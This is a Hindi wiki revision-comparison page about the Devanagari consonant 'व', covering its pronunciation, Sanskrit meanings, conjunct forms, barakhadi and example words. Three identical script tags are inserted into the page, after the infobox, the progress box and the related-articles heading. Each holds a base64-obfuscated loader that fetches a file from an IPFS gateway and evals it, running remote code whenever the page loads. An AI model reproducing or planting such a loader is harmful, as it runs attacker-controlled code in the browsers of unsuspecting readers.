"व" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('150px|right '''व''' देवनागरी लिपि का इक्तालीसवाँ [...' के साथ नया पृष्ठ बनाया)
 
 
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
[[चित्र:व.jpg|150px|right]]
+
{{सूचना बक्सा संक्षिप्त परिचय
'''व''' [[देवनागरी लिपि]] का इक्तालीसवाँ [[अक्षर]] है। यह एक [[व्यंजन (व्याकरण)|व्यंजन]] है।
+
|चित्र=व.jpg
 +
|चित्र का नाम=
 +
|विवरण='''व''' [[देवनागरी वर्णमाला]] में अंत:स्थ वर्ग का चौथा [[व्यंजन (व्याकरण)|व्यंजन]] है।
 +
|शीर्षक 1=भाषाविज्ञान की दृष्टि से
 +
|पाठ 1= यह द्वयौष्ठ्य, घोष, अल्पप्राण और पार्श्विक है।
 +
|शीर्षक 2= व्याकरण
 +
|पाठ 2= [ [[संस्कृत]] वा + क ] [[पुल्लिंग]]- वायु, हवा, वरुण, बाहु, भुजा, निवास, वास, समुद्र।
 +
|शीर्षक 3=विशेष
 +
|पाठ 3=शब्दों में ‘व’ का उच्चारण भी दो प्रकार से किया जाता है- एक प्रकार में यह ‘उ’ से समीप लगता है। जैसे- राव (राउ), बाव (बाउ) और दूसरे प्रकार में यह ‘ब’ में ‘ब’ के बहुत समीप का लगता है और प्राय: बोलचाल में ’ब’ में परिवर्तन हो जाता है; जैसे- विमल (बिमल), वर्ष (बर्ष / बरस)।
 +
|शीर्षक 4=
 +
|पाठ 4=
 +
|शीर्षक 5=
 +
|पाठ 5= 
 +
|शीर्षक 6=
 +
|पाठ 6=
 +
|शीर्षक 7=
 +
|पाठ 7=
 +
|शीर्षक 8=
 +
|पाठ 8=
 +
|शीर्षक 9=
 +
|पाठ 9=
 +
|शीर्षक 10=
 +
|पाठ 10=
 +
|संबंधित लेख=[[य]], [[ल]], [[र]], [[श]], [[ष]], [[स]], [[ह]]
 +
|अन्य जानकारी=  पहले आकर ‘व’ से मिलने वाले व्यंजन प्राय: अपनी खड़ी रेखा छोड़कर मिलते हैं (पक्व, अपनत्व, मध्वाचार्य, कण्व, विश्व, स्वदेश) परंतु ‘र्’ शिरोरेखा के ऊपर ‘रेफ’ के रूप में स्थित होता है। जैसे- गर्व, सर्व।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''व''' [[देवनागरी वर्णमाला]] में अंत:स्थ वर्ग का चौथा [[व्यंजन (व्याकरण)|व्यंजन]] है। भाषाविज्ञान की दृष्टि से यह द्वयौष्ठ्य, घोष, अल्पप्राण और पार्श्विक है। ‘[[उ]]’ स्वर संधि आदि में प्राय: ‘व’ में परिवर्तन आ जाता है, अत: ‘व’ स्वर-व्यंजन के मध्य के होने से ‘अंत:स्थ’ है। शब्दों में ‘व’ का उच्चारण भी दो प्रकार से किया जाता है- एक प्रकार में यह ‘उ’ से समीप लगता है। जैसे- राव (राउ), बाव (बाउ) और दूसरे प्रकार में यह ‘ब’ में ‘ब’ के बहुत समीप का लगता है और प्राय: बोलचाल में ’ब’ में परिवर्तन हो जाता है; जैसे- विमल (बिमल), वर्ष (बर्ष / बरस)।
 +
;विशेष
 +
* ’वँ’, ‘वाँ’ इत्यादि अनुनासिक रूपों में ‘चंद्रबिंदु’ के स्थान पर ‘बिंदु’ लगाने की रीति सुविधार्थ प्रयुक्त होती है जहाँ कोई मात्रा शिरोरेखा के ऊपर लगी होती है। जैसे- विँ-विं, वीँ-वीं, वेँ-वें...।
 +
* व्यंजन-गुच्छों में जब ‘व’ पहले आकर अन्य व्यंजनों से मिलता है, तब साधारणतया उसका रूप ‘व्’ होता है (व्यसन, व्यायाम) परंतु ‘र’ से मिलने पर ‘व्र’ रूप बनता है (व्रत, व्रीहि)
 +
* पहले आकर ‘व’ से मिलने वाले व्यंजन प्राय: अपनी खड़ी रेखा छोड़कर मिलते हैं (पक्व, अपनत्व, मध्वाचार्य, कण्व, विश्व, स्वदेश) परंतु ‘र्’ शिरोरेखा के ऊपर ‘रेफ’ के रूप में स्थित होता है। जैसे- गर्व, सर्व।
 +
* जब ‘[[द]]’ और ‘[[ह]]’ पहले आकर मिलते हैं तब क्रमश: ‘द्व’ और ‘ह्‌व’ रूप बनते हैं जिन्हें ‘द्व’ और ‘ह्व’ भी लिखा जा सकता है। जैसे- द्वार / द्‌वार, आह्वान / आह्‌वान।
 +
* भाषा वैज्ञानिक कारणों से शब्दों के ‘व्’ का ‘ब्‌’ में परिवर्तन विविध बोलियों में हो जाता है (वधू- बहू, विवाह- बिबाह)। अत: इसका ध्यान रखना होता है क्योंकि ऐसी भूल से कभी तो ‘तत्सम’ शब्द ‘तद्भव’ हो जाता है, और कभी ‘व’ के स्थान पर ‘ब’ के प्रयोग से भिन्न अर्थ वाला शब्द बन जाता है। जैसे- वात-बात, वासी-बासी, दवा-दबा।
 +
* [ [[संस्कृत]] वा + क ] [[पुल्लिंग]]- वायु, हवा, वरुण, बाहु, भुजा, निवास, वास, समुद्र।
 +
* व्याघ्र, चीता, कल्याणमंगल, वस्त्र, वृक्ष, मद्य, राहु।<ref>पुस्तक- हिन्दी शब्द कोश खण्ड-2 | पृष्ठ संख्या- 2206</ref>
 +
==व की बारहखड़ी==
 +
{| class="bharattable-green"
 +
|-
 +
| व
 +
| वा
 +
| वि
 +
| वी
 +
| वु
 +
| वू
 +
| वे
 +
| वै
 +
| वो
 +
| वौ
 +
| वं
 +
| वः
 +
|}
 
==व अक्षर वाले शब्द==
 
==व अक्षर वाले शब्द==
* वक्रता
+
* वक्रता
* वचनबद्ध
+
* वचनबद्ध
 
* वक्षस्थल
 
* वक्षस्थल
 
* [[वर्षा]]
 
* [[वर्षा]]

11:59, 10 जनवरी 2017 के समय का अवतरण

व.jpg
विवरण देवनागरी वर्णमाला में अंत:स्थ वर्ग का चौथा व्यंजन है।
भाषाविज्ञान की दृष्टि से यह द्वयौष्ठ्य, घोष, अल्पप्राण और पार्श्विक है।
व्याकरण [ संस्कृत वा + क ] पुल्लिंग- वायु, हवा, वरुण, बाहु, भुजा, निवास, वास, समुद्र।
विशेष शब्दों में ‘व’ का उच्चारण भी दो प्रकार से किया जाता है- एक प्रकार में यह ‘उ’ से समीप लगता है। जैसे- राव (राउ), बाव (बाउ) और दूसरे प्रकार में यह ‘ब’ में ‘ब’ के बहुत समीप का लगता है और प्राय: बोलचाल में ’ब’ में परिवर्तन हो जाता है; जैसे- विमल (बिमल), वर्ष (बर्ष / बरस)।
संबंधित लेख , , , , , ,
अन्य जानकारी पहले आकर ‘व’ से मिलने वाले व्यंजन प्राय: अपनी खड़ी रेखा छोड़कर मिलते हैं (पक्व, अपनत्व, मध्वाचार्य, कण्व, विश्व, स्वदेश) परंतु ‘र्’ शिरोरेखा के ऊपर ‘रेफ’ के रूप में स्थित होता है। जैसे- गर्व, सर्व।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

देवनागरी वर्णमाला में अंत:स्थ वर्ग का चौथा व्यंजन है। भाषाविज्ञान की दृष्टि से यह द्वयौष्ठ्य, घोष, अल्पप्राण और पार्श्विक है। ‘उ’ स्वर संधि आदि में प्राय: ‘व’ में परिवर्तन आ जाता है, अत: ‘व’ स्वर-व्यंजन के मध्य के होने से ‘अंत:स्थ’ है। शब्दों में ‘व’ का उच्चारण भी दो प्रकार से किया जाता है- एक प्रकार में यह ‘उ’ से समीप लगता है। जैसे- राव (राउ), बाव (बाउ) और दूसरे प्रकार में यह ‘ब’ में ‘ब’ के बहुत समीप का लगता है और प्राय: बोलचाल में ’ब’ में परिवर्तन हो जाता है; जैसे- विमल (बिमल), वर्ष (बर्ष / बरस)।

विशेष
  • ’वँ’, ‘वाँ’ इत्यादि अनुनासिक रूपों में ‘चंद्रबिंदु’ के स्थान पर ‘बिंदु’ लगाने की रीति सुविधार्थ प्रयुक्त होती है जहाँ कोई मात्रा शिरोरेखा के ऊपर लगी होती है। जैसे- विँ-विं, वीँ-वीं, वेँ-वें...।
  • व्यंजन-गुच्छों में जब ‘व’ पहले आकर अन्य व्यंजनों से मिलता है, तब साधारणतया उसका रूप ‘व्’ होता है (व्यसन, व्यायाम) परंतु ‘र’ से मिलने पर ‘व्र’ रूप बनता है (व्रत, व्रीहि)।
  • पहले आकर ‘व’ से मिलने वाले व्यंजन प्राय: अपनी खड़ी रेखा छोड़कर मिलते हैं (पक्व, अपनत्व, मध्वाचार्य, कण्व, विश्व, स्वदेश) परंतु ‘र्’ शिरोरेखा के ऊपर ‘रेफ’ के रूप में स्थित होता है। जैसे- गर्व, सर्व।
  • जब ‘द’ और ‘ह’ पहले आकर मिलते हैं तब क्रमश: ‘द्व’ और ‘ह्‌व’ रूप बनते हैं जिन्हें ‘द्व’ और ‘ह्व’ भी लिखा जा सकता है। जैसे- द्वार / द्‌वार, आह्वान / आह्‌वान।
  • भाषा वैज्ञानिक कारणों से शब्दों के ‘व्’ का ‘ब्‌’ में परिवर्तन विविध बोलियों में हो जाता है (वधू- बहू, विवाह- बिबाह)। अत: इसका ध्यान रखना होता है क्योंकि ऐसी भूल से कभी तो ‘तत्सम’ शब्द ‘तद्भव’ हो जाता है, और कभी ‘व’ के स्थान पर ‘ब’ के प्रयोग से भिन्न अर्थ वाला शब्द बन जाता है। जैसे- वात-बात, वासी-बासी, दवा-दबा।
  • [ संस्कृत वा + क ] पुल्लिंग- वायु, हवा, वरुण, बाहु, भुजा, निवास, वास, समुद्र।
  • व्याघ्र, चीता, कल्याणमंगल, वस्त्र, वृक्ष, मद्य, राहु।[1]

व की बारहखड़ी

वा वि वी वु वू वे वै वो वौ वं वः

व अक्षर वाले शब्द

  • वक्रता
  • वचनबद्ध
  • वक्षस्थल
  • वर्षा
  • वक्रदृष्टि


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. पुस्तक- हिन्दी शब्द कोश खण्ड-2 | पृष्ठ संख्या- 2206

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>